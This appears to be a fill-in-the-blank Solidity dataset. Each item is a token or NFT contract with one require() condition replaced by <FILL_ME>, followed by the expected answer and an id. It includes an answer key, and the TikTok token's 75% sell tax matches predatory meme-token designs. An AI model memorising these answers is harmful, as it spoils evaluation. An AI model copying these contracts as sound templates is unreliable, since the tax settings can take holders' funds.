function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Tiktok is Context, IERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _sniperWindowTime;
mapping (address => bool) public _isExcludedFromFee;
mapping (address => bool) public _isExcludedFromMaxBalance;
uint8 private constant _decimals = 9;
uint256 private _tTotal = 100_000_000 * (10**_decimals);
uint256 public swapThreshold = 500_000 * (10**_decimals);
uint256 public maxTxAmount = 2_000_000 * (10**_decimals);
uint256 public maxWallet = 2_000_000 * (10**_decimals);
uint8 public buyTax = 25;
uint8 public sellTax = 75;
string private constant _name = "TikTok";
string private constant _symbol = "TIKTOK";
address public marketingWallet = 0x5729fd298A76b8eE0f71C5a928f9bBEBbFE12c05;
address public autoLPWallet = 0x5729fd298A76b8eE0f71C5a928f9bBEBbFE12c05;
bool public isLimitApplied = true;
bool private swapping;
modifier lockTheSwap { }
uint8 private _snipingOffsetTime = 3;
uint8 private _snipingB = 7;
uint256 private _snipeGenesisB;
uint256 public snipersCaught;
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _sniperCheck(address from,address to, bool isBuy) internal{
}
function _preTransferCheck(address from,address to,uint256 amount) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(isLimitApplied){
require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the maxTxAmount.");
require(<FILL_ME>)
}
if(from == owner() && to == pair && balanceOf(pair) == 0)
_snipeGenesisB = block.number;
if (balanceOf(address(this)) >= swapThreshold && !swapping && from != pair && from != owner() && to != owner())
swapAndLiquify();
}
function _getValues(address from,address to, uint256 amount) private returns(uint256){
}
function _transfer(address from,address to,uint256 amount) private {
}
function swapAndLiquify() private lockTheSwap{
}
function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
receive() external payable {}
function isSniper(address holder) public view returns(bool){
}
function setContractSettings(uint8 buyTax_ , uint8 sellTax_, bool isLimitApplied_) external onlyOwner{
}
function manualSwap() external{
}
}
| balanceOf(to)+amount<=maxWallet||_isExcludedFromMaxBalance[to],"Transfer amount exceeds the maxWallet." | 250,881 | balanceOf(to)+amount<=maxWallet||_isExcludedFromMaxBalance[to] |
"Transfer amount exceeds the bag size." | // SPDX-License-Identifier: MIT
/*
Welcome WhalePot! Play to Earn!
Website: https://www.whalepot.tech
Telegram: https://t.me/whale_erc
Twitter: https://twitter.com/whale_erc
*/
pragma solidity 0.8.19;
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address _uniswapPair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal _owner;
constructor(address owner) {
}
modifier onlyOwner() {
}
function _isOwner(address account) internal view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
event OwnershipTransferred(address owner);
}
contract Whale is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WhalePot";
string private constant _symbol = "Whale";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 10 ** 9 * (10 ** _decimals);
uint256 private _lpTax = 0;
uint256 private _marketingTax = 22;
uint256 private _totalTax = _lpTax + _marketingTax;
uint256 private _denominators = 100;
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private _deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) _noFeeOnTx;
mapping (address => bool) _noMaxTransaction;
uint256 _maxTxAmount = (_totalSupply * 20) / 1000;
address _teamAddress;
IUniswapV2Router public uniswapRouter;
address _uniswapPair;
bool _isTaxSwapEnabled = true;
uint256 _swapThreshold = _totalSupply / 100000; // 0.1%
bool _swappingInProgress;
modifier lockSwap() { }
constructor (address WhaleAddress) Ownable(msg.sender) {
}
receive() external payable { }
function _calcTransferFee(address sender, uint256 amount) internal returns (uint256) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _verifySwapRequirement(address sender, address recipient, uint256 amount) private returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(_swappingInProgress){ return _basicTransfer(sender, recipient, amount); }
if (recipient != _uniswapPair && recipient != _deadAddress) {
require(<FILL_ME>)
}
if(_verifySwapRequirement(sender, recipient, amount)){
performWhaleSwap();
}
bool shouldTax = exemptFees(sender);
if (shouldTax) {
_balances[recipient] = _balances[recipient].add(_calcTransferFee(sender, amount));
} else {
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function performWhaleSwap() internal lockSwap {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function exemptFees(address sender) internal view returns (bool) {
}
function adjustWhaleWalletSize(uint256 percent) external onlyOwner {
}
function updateWhaleTax(uint256 lpFee, uint256 devFee) external onlyOwner {
}
function _isSelling(address recipient) private returns (bool){
}
function validateSwapRequirement() internal view returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
}
| _noMaxTransaction[recipient]||_balances[recipient]+amount<=_maxTxAmount,"Transfer amount exceeds the bag size." | 250,946 | _noMaxTransaction[recipient]||_balances[recipient]+amount<=_maxTxAmount |
"Address not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "erc721a/contracts/ERC721A.sol";
//░█████╗░░█████╗░███╗░░░███╗███╗░░░███╗░█████╗░██╗░██████╗ ░█████╗░██╗░░░░░██╗░██████╗░██╗░░░██╗███████╗
//██╔══██╗██╔══██╗████╗░████║████╗░████║██╔══██╗╚█║██╔════╝ ██╔══██╗██║░░░░░██║██╔═══██╗██║░░░██║██╔════╝
//██║░░╚═╝██║░░██║██╔████╔██║██╔████╔██║███████║░╚╝╚█████╗░ ██║░░╚═╝██║░░░░░██║██║██╗██║██║░░░██║█████╗░░
//██║░░██╗██║░░██║██║╚██╔╝██║██║╚██╔╝██║██╔══██║░░░░╚═══██╗ ██║░░██╗██║░░░░░██║╚██████╔╝██║░░░██║██╔══╝░░
//╚█████╔╝╚█████╔╝██║░╚═╝░██║██║░╚═╝░██║██║░░██║░░░██████╔╝ ╚█████╔╝███████╗██║░╚═██╔═╝░╚██████╔╝███████╗
//░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝░░░╚═════╝░ ░╚════╝░╚══════╝╚═╝░░░╚═╝░░░░╚═════╝░╚══════╝
contract CommasClique is ERC721A, Ownable
{
using Strings for string;
uint public constant MAX_TOKENS = 4500;
uint public constant NUMBER_RESERVED_TOKENS = 150;
uint256 public PRICE = 0.05 ether;
uint public perAddressLimit = 10;
bool public saleIsActive = false;
bool public whitelist = true;
bool public revealed = false;
uint public reservedTokensMinted = 0;
string private _baseTokenURI;
string public notRevealedUri = "ipfs://QmRybbp4YUqcnQkG6EyFTPYZ9PhYTbKHHSbNAPDu1wUe7C";
bytes32 root = 0x9ba0029123378f5ba60380e9f57f60f6e734cc6c7733c03af2b99e1b187a2a80;
mapping(address => uint) public addressMintedBalance;
address payable private devgirl = payable(0x810ad66bC6ecbA0b9E16CFC727C522a41c810F83);
constructor() ERC721A("Comma's Clique", "CC") {}
function mintToken(uint256 amount, bytes32[] memory proof) external payable
{
require(<FILL_ME>)
require(msg.sender == tx.origin, "No transaction from smart contracts!");
require(saleIsActive, "Sale must be active to mint");
require(totalSupply() + amount <= MAX_TOKENS - (NUMBER_RESERVED_TOKENS - reservedTokensMinted), "Purchase would exceed max supply");
require(msg.value >= PRICE * amount, "Not enough ETH for transaction");
if (whitelist) {
require(addressMintedBalance[msg.sender] + amount <= perAddressLimit, "Max NFT per address exceeded");
addressMintedBalance[msg.sender] += amount;
}
_safeMint(msg.sender, amount);
}
function setPrice(uint256 newPrice) external onlyOwner
{
}
function setPerAddressLimit(uint newLimit) external onlyOwner
{
}
function reveal() public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function flipSaleState() external onlyOwner
{
}
function flipWhitelistingState() external onlyOwner
{
}
function mintReservedTokens(address to, uint256 amount) external onlyOwner
{
}
function withdraw() external
{
}
function setRoot(bytes32 _root) external onlyOwner
{
}
function getRoot() external view returns (bytes32)
{
}
function verify(bytes32[] memory proof) internal view returns (bool)
{
}
function _setBaseURI(string memory baseURI) internal virtual {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory)
{
}
}
| !whitelist||verify(proof),"Address not whitelisted" | 250,981 | !whitelist||verify(proof) |
"Purchase would exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "erc721a/contracts/ERC721A.sol";
//░█████╗░░█████╗░███╗░░░███╗███╗░░░███╗░█████╗░██╗░██████╗ ░█████╗░██╗░░░░░██╗░██████╗░██╗░░░██╗███████╗
//██╔══██╗██╔══██╗████╗░████║████╗░████║██╔══██╗╚█║██╔════╝ ██╔══██╗██║░░░░░██║██╔═══██╗██║░░░██║██╔════╝
//██║░░╚═╝██║░░██║██╔████╔██║██╔████╔██║███████║░╚╝╚█████╗░ ██║░░╚═╝██║░░░░░██║██║██╗██║██║░░░██║█████╗░░
//██║░░██╗██║░░██║██║╚██╔╝██║██║╚██╔╝██║██╔══██║░░░░╚═══██╗ ██║░░██╗██║░░░░░██║╚██████╔╝██║░░░██║██╔══╝░░
//╚█████╔╝╚█████╔╝██║░╚═╝░██║██║░╚═╝░██║██║░░██║░░░██████╔╝ ╚█████╔╝███████╗██║░╚═██╔═╝░╚██████╔╝███████╗
//░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝░░░╚═════╝░ ░╚════╝░╚══════╝╚═╝░░░╚═╝░░░░╚═════╝░╚══════╝
contract CommasClique is ERC721A, Ownable
{
using Strings for string;
uint public constant MAX_TOKENS = 4500;
uint public constant NUMBER_RESERVED_TOKENS = 150;
uint256 public PRICE = 0.05 ether;
uint public perAddressLimit = 10;
bool public saleIsActive = false;
bool public whitelist = true;
bool public revealed = false;
uint public reservedTokensMinted = 0;
string private _baseTokenURI;
string public notRevealedUri = "ipfs://QmRybbp4YUqcnQkG6EyFTPYZ9PhYTbKHHSbNAPDu1wUe7C";
bytes32 root = 0x9ba0029123378f5ba60380e9f57f60f6e734cc6c7733c03af2b99e1b187a2a80;
mapping(address => uint) public addressMintedBalance;
address payable private devgirl = payable(0x810ad66bC6ecbA0b9E16CFC727C522a41c810F83);
constructor() ERC721A("Comma's Clique", "CC") {}
function mintToken(uint256 amount, bytes32[] memory proof) external payable
{
require(!whitelist || verify(proof), "Address not whitelisted");
require(msg.sender == tx.origin, "No transaction from smart contracts!");
require(saleIsActive, "Sale must be active to mint");
require(<FILL_ME>)
require(msg.value >= PRICE * amount, "Not enough ETH for transaction");
if (whitelist) {
require(addressMintedBalance[msg.sender] + amount <= perAddressLimit, "Max NFT per address exceeded");
addressMintedBalance[msg.sender] += amount;
}
_safeMint(msg.sender, amount);
}
function setPrice(uint256 newPrice) external onlyOwner
{
}
function setPerAddressLimit(uint newLimit) external onlyOwner
{
}
function reveal() public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function flipSaleState() external onlyOwner
{
}
function flipWhitelistingState() external onlyOwner
{
}
function mintReservedTokens(address to, uint256 amount) external onlyOwner
{
}
function withdraw() external
{
}
function setRoot(bytes32 _root) external onlyOwner
{
}
function getRoot() external view returns (bytes32)
{
}
function verify(bytes32[] memory proof) internal view returns (bool)
{
}
function _setBaseURI(string memory baseURI) internal virtual {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory)
{
}
}
| totalSupply()+amount<=MAX_TOKENS-(NUMBER_RESERVED_TOKENS-reservedTokensMinted),"Purchase would exceed max supply" | 250,981 | totalSupply()+amount<=MAX_TOKENS-(NUMBER_RESERVED_TOKENS-reservedTokensMinted) |
"Max NFT per address exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "erc721a/contracts/ERC721A.sol";
//░█████╗░░█████╗░███╗░░░███╗███╗░░░███╗░█████╗░██╗░██████╗ ░█████╗░██╗░░░░░██╗░██████╗░██╗░░░██╗███████╗
//██╔══██╗██╔══██╗████╗░████║████╗░████║██╔══██╗╚█║██╔════╝ ██╔══██╗██║░░░░░██║██╔═══██╗██║░░░██║██╔════╝
//██║░░╚═╝██║░░██║██╔████╔██║██╔████╔██║███████║░╚╝╚█████╗░ ██║░░╚═╝██║░░░░░██║██║██╗██║██║░░░██║█████╗░░
//██║░░██╗██║░░██║██║╚██╔╝██║██║╚██╔╝██║██╔══██║░░░░╚═══██╗ ██║░░██╗██║░░░░░██║╚██████╔╝██║░░░██║██╔══╝░░
//╚█████╔╝╚█████╔╝██║░╚═╝░██║██║░╚═╝░██║██║░░██║░░░██████╔╝ ╚█████╔╝███████╗██║░╚═██╔═╝░╚██████╔╝███████╗
//░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝░░░╚═════╝░ ░╚════╝░╚══════╝╚═╝░░░╚═╝░░░░╚═════╝░╚══════╝
contract CommasClique is ERC721A, Ownable
{
using Strings for string;
uint public constant MAX_TOKENS = 4500;
uint public constant NUMBER_RESERVED_TOKENS = 150;
uint256 public PRICE = 0.05 ether;
uint public perAddressLimit = 10;
bool public saleIsActive = false;
bool public whitelist = true;
bool public revealed = false;
uint public reservedTokensMinted = 0;
string private _baseTokenURI;
string public notRevealedUri = "ipfs://QmRybbp4YUqcnQkG6EyFTPYZ9PhYTbKHHSbNAPDu1wUe7C";
bytes32 root = 0x9ba0029123378f5ba60380e9f57f60f6e734cc6c7733c03af2b99e1b187a2a80;
mapping(address => uint) public addressMintedBalance;
address payable private devgirl = payable(0x810ad66bC6ecbA0b9E16CFC727C522a41c810F83);
constructor() ERC721A("Comma's Clique", "CC") {}
function mintToken(uint256 amount, bytes32[] memory proof) external payable
{
require(!whitelist || verify(proof), "Address not whitelisted");
require(msg.sender == tx.origin, "No transaction from smart contracts!");
require(saleIsActive, "Sale must be active to mint");
require(totalSupply() + amount <= MAX_TOKENS - (NUMBER_RESERVED_TOKENS - reservedTokensMinted), "Purchase would exceed max supply");
require(msg.value >= PRICE * amount, "Not enough ETH for transaction");
if (whitelist) {
require(<FILL_ME>)
addressMintedBalance[msg.sender] += amount;
}
_safeMint(msg.sender, amount);
}
function setPrice(uint256 newPrice) external onlyOwner
{
}
function setPerAddressLimit(uint newLimit) external onlyOwner
{
}
function reveal() public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function flipSaleState() external onlyOwner
{
}
function flipWhitelistingState() external onlyOwner
{
}
function mintReservedTokens(address to, uint256 amount) external onlyOwner
{
}
function withdraw() external
{
}
function setRoot(bytes32 _root) external onlyOwner
{
}
function getRoot() external view returns (bytes32)
{
}
function verify(bytes32[] memory proof) internal view returns (bool)
{
}
function _setBaseURI(string memory baseURI) internal virtual {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory)
{
}
}
| addressMintedBalance[msg.sender]+amount<=perAddressLimit,"Max NFT per address exceeded" | 250,981 | addressMintedBalance[msg.sender]+amount<=perAddressLimit |
"only 1 mint per validator index" | // SPDX-License-Identifier: GNU LGPLv3
pragma solidity 0.8.13;
import "openzeppelin-contracts/contracts/token/ERC721/ERC721.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "openzeppelin-contracts/contracts/utils/Counters.sol";
import "openzeppelin-contracts/contracts/utils/Strings.sol";
contract blockLander is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
bytes32 immutable DOMAIN_SEPARATOR;
string public metadataFolderURI;
mapping(uint256 => uint256) public minted;
mapping(uint256 => address) public minterMap;
uint256 public constant price = 0.000777 ether;
address public validSigner;
bool public mintActive;
uint256 public mintsPerAddress;
string public openseaContractMetadataURL;
constructor(
string memory _name,
string memory _symbol,
string memory _slug,
string memory _metadataFolderURI,
uint256 _mintsPerAddress,
string memory _openseaContractMetadataURL,
bool _mintActive,
address _validSigner
) ERC721(_name, _symbol) {
}
function setValidSigner(address _validSigner) external onlyOwner {
}
function setMetadataFolderURI(string calldata folderUrl) public onlyOwner {
}
function setContractMetadataFolderURI(string calldata folderUrl) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function contractURI() public view returns (string memory) {
}
function mintWithSignature(
address minter,
uint256 validatorIndex,
uint8 v,
bytes32 r,
bytes32 s
) public payable returns (uint256) {
require(mintActive == true, "mint is not active rn..");
require(minter == msg.sender, "you have to mint for yourself");
require(<FILL_ME>)
bytes32 payloadHash = keccak256(abi.encode(DOMAIN_SEPARATOR, minter, validatorIndex));
bytes32 messageHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", payloadHash)
);
address actualSigner = ecrecover(messageHash, v, r, s);
require(actualSigner != address(0), "ECDSA: invalid signature");
require(actualSigner == validSigner, "Invalid signer");
require(msg.value == price, 'minting fee is 0.000777');
_tokenIds.increment();
minted[validatorIndex]++;
uint256 tokenId = _tokenIds.current();
_safeMint(msg.sender, tokenId);
minterMap[tokenId] = minter;
return tokenId;
}
function mintedCount() external view returns (uint256) {
}
function setMintActive(bool _mintActive) public onlyOwner {
}
function getAddress() external view returns (address) {
}
function minterOf(uint256 tokenId) public view returns (address) {
}
function withdraw() public onlyOwner {
}
}
| minted[validatorIndex]<mintsPerAddress,"only 1 mint per validator index" | 250,988 | minted[validatorIndex]<mintsPerAddress |
"MFNFT: Invalid signature." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract MFNFT is ERC721A, Ownable {
using ECDSA for bytes32;
enum Status {
Waiting,
Started
}
Status public status;
address private _signer;
uint256 public price = 0;
mapping(uint256 => string) public tokenImageURIs;
event Minted(address minter, uint256 tokenId);
event StatusChanged(Status status);
event PriceChanged(uint256 price);
event SignerChanged(address signer);
constructor(address signer) ERC721A("MyFirstNFT", "MFNFT") {
}
function _hash(string memory hash) internal pure returns (bytes32) {
}
function _verify(bytes32 hash, bytes memory token)
internal
view
returns (bool)
{
}
function _recover(bytes32 hash, bytes memory token)
internal
pure
returns (address)
{
}
function mint(string calldata imageURI, bytes calldata signature)
external
payable
{
require(status == Status.Started, "MFNFT: Public mint is not active.");
require(
tx.origin == msg.sender,
"MFNFT: contract is not allowed to mint."
);
require(numberMinted(msg.sender) == 0, "MFNFT: The wallet has already minted.");
require(<FILL_ME>)
uint256 currentIndex = _currentIndex;
_safeMint(msg.sender, 1);
tokenImageURIs[currentIndex] = imageURI;
refundIfOver(price);
emit Minted(msg.sender, currentIndex);
}
function refundIfOver(uint256 total) private {
}
function numberMinted(address owner) public view returns (uint256) {
}
function setStatus(Status _status) external onlyOwner {
}
function withdraw(address payable recipient) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setSigner(address signer) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
}
| _verify(_hash(imageURI),signature),"MFNFT: Invalid signature." | 251,009 | _verify(_hash(imageURI),signature) |
"IssueMarket: currency not supported" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@solvprotocol/erc-3525/IERC3525.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/issuable/ISFTIssuableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/multi-rechargeable/IMultiRechargeableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/mintable/ISFTMintableDelegate.sol";
import "@solvprotocol/contracts-v3-address-resolver/contracts/ResolverCache.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/misc/Constants.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/helpers/ERC20TransferHelper.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/access/ISFTDelegateControl.sol";
import "@solvprotocol/contracts-v3-sft-underwriter-profit/contracts/UnderwriterProfitConcrete.sol";
import "./IssueMarketStorage.sol";
import "./IIssueMarket.sol";
import "./price/IPriceStrategyManager.sol";
import "./whitelist/IWhitelistStrategyManager.sol";
contract IssueMarket is IIssueMarket, IssueMarketStorage, ReentrancyGuardUpgradeable, ResolverCache {
using EnumerableSet for EnumerableSet.Bytes32Set;
function initialize(address resolver_, address owner_) external initializer {
}
struct IssueVars {
InputIssueInfo inputIssueInfo;
bytes32 issueKey;
bytes32 underwriterKey;
}
function issue(address sft_, address currency_, bytes calldata inputSlotInfo_, bytes calldata inputIssueInfo_,
bytes calldata inputPriceInfo_) external payable override nonReentrant returns (uint256 slot_) {
IssueVars memory vars;
vars.inputIssueInfo = abi.decode(inputIssueInfo_, (InputIssueInfo));
require(<FILL_ME>)
require(sftInfos[sft_].isValid, "IssueMarket: sft not supported");
require(sftInfos[sft_].issuer == address(0) || sftInfos[sft_].issuer == _msgSender(), "IssueMarket: not issuer");
_validateInputIssueInfo(vars.inputIssueInfo, inputPriceInfo_);
slot_ = ISFTIssuableDelegate(sft_).createSlotOnlyIssueMarket(_msgSender(), inputSlotInfo_);
vars.issueKey = _getIssueKey(sft_, slot_);
PurchaseLimitInfo memory purchaseLimitInfo = PurchaseLimitInfo({
min: vars.inputIssueInfo.min,
max: vars.inputIssueInfo.max,
startTime: vars.inputIssueInfo.startTime,
endTime: vars.inputIssueInfo.endTime,
useWhitelist: vars.inputIssueInfo.whitelist.length > 0 ? true : false
});
IssueInfo memory issueInfo = IssueInfo({
issuer: _msgSender(),
sft: sft_,
slot: slot_,
currency: currency_,
issueQuota: vars.inputIssueInfo.issueQuota,
value: vars.inputIssueInfo.issueQuota,
receiver: vars.inputIssueInfo.receiver,
purchaseLimitInfo: purchaseLimitInfo,
priceType: vars.inputIssueInfo.priceType,
status: IssueStatus.ISSUING
});
issueInfos[vars.issueKey] = issueInfo;
for (uint256 i = 0; i < vars.inputIssueInfo.underwriters.length; i++) {
string memory underwriterName = vars.inputIssueInfo.underwriters[i];
vars.underwriterKey = _getUnderwriterKey(underwriterName);
require(underwriterInfos[vars.underwriterKey].isValid, "IssueMarket: underwriters not supported");
UnderwriterIssueInfo memory underwriterIssueInfo = UnderwriterIssueInfo({
name: underwriterName,
quota: vars.inputIssueInfo.quotas[i],
value: vars.inputIssueInfo.quotas[i]
});
underwriterIssueInfos[vars.underwriterKey][vars.issueKey] = underwriterIssueInfo;
}
priceInfos[vars.issueKey] = inputPriceInfo_;
_whitelistStrategyManager().setWhitelist(vars.issueKey, vars.inputIssueInfo.whitelist);
emit Issue(sft_, slot_, issueInfo, issueInfo.priceType, inputPriceInfo_, vars.inputIssueInfo.underwriters, vars.inputIssueInfo.quotas);
}
struct SubscribeVars {
address buyer;
SFTInfo sftInfo;
bytes32 issueKey;
bytes32 underwriterKey;
uint256 price;
uint256 issueFee;
uint256 underwriterFee;
uint256 tokenId;
uint256 payment;
}
function subscribe(address sft_, uint256 slot_, string calldata underwriter_, uint256 value_, uint64 expireTime_) external payable override nonReentrant returns (uint256, uint256) {
}
function _validateInputIssueInfo(InputIssueInfo memory input_, bytes memory priceInfo_) internal view {
}
function _getFee(uint16 feeRate_, uint256 payment_) internal pure returns (uint256) {
}
function _getIssueKey(address sft_, uint256 slot_) internal pure returns (bytes32) {
}
function _getUnderwriterKey(string memory underwriteName) internal pure returns (bytes32) {
}
function _priceStrategyManager() internal view returns (IPriceStrategyManager) {
}
function _whitelistStrategyManager() internal view returns (IWhitelistStrategyManager) {
}
function _underwriterProfitToken() internal view returns (address) {
}
function setWhitelist(address sft_, uint256 slot_, address[] calldata whitelist_) external {
}
function addSFTOnlyOwner(address sft_, uint8 decimals_, uint16 defaultFeeRate_, address issuer_) external onlyOwner {
}
function removeSFTOnlyOwner(address sft_) external onlyOwner {
}
function setCurrencyOnlyOwner(address currency_, bool enabled_) external onlyOwner {
}
function addUnderwriterOnlyOwner(string calldata underwriter_, uint16 defaultFeeRate_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function addUnderwriterCurrenciesOnlyOwner(string calldata underwriter_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function _createUnderwriterProfitSlot(string memory underwriter_, address currency_, address initialHolder_) internal {
}
function withdrawFee(address to_, address currency_, uint256 amount_) external onlyOwner {
}
function _resolverAddressesRequired() internal view virtual override returns (bytes32[] memory) {
}
}
| currencies[currency_],"IssueMarket: currency not supported" | 251,070 | currencies[currency_] |
"IssueMarket: sft not supported" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@solvprotocol/erc-3525/IERC3525.sol";
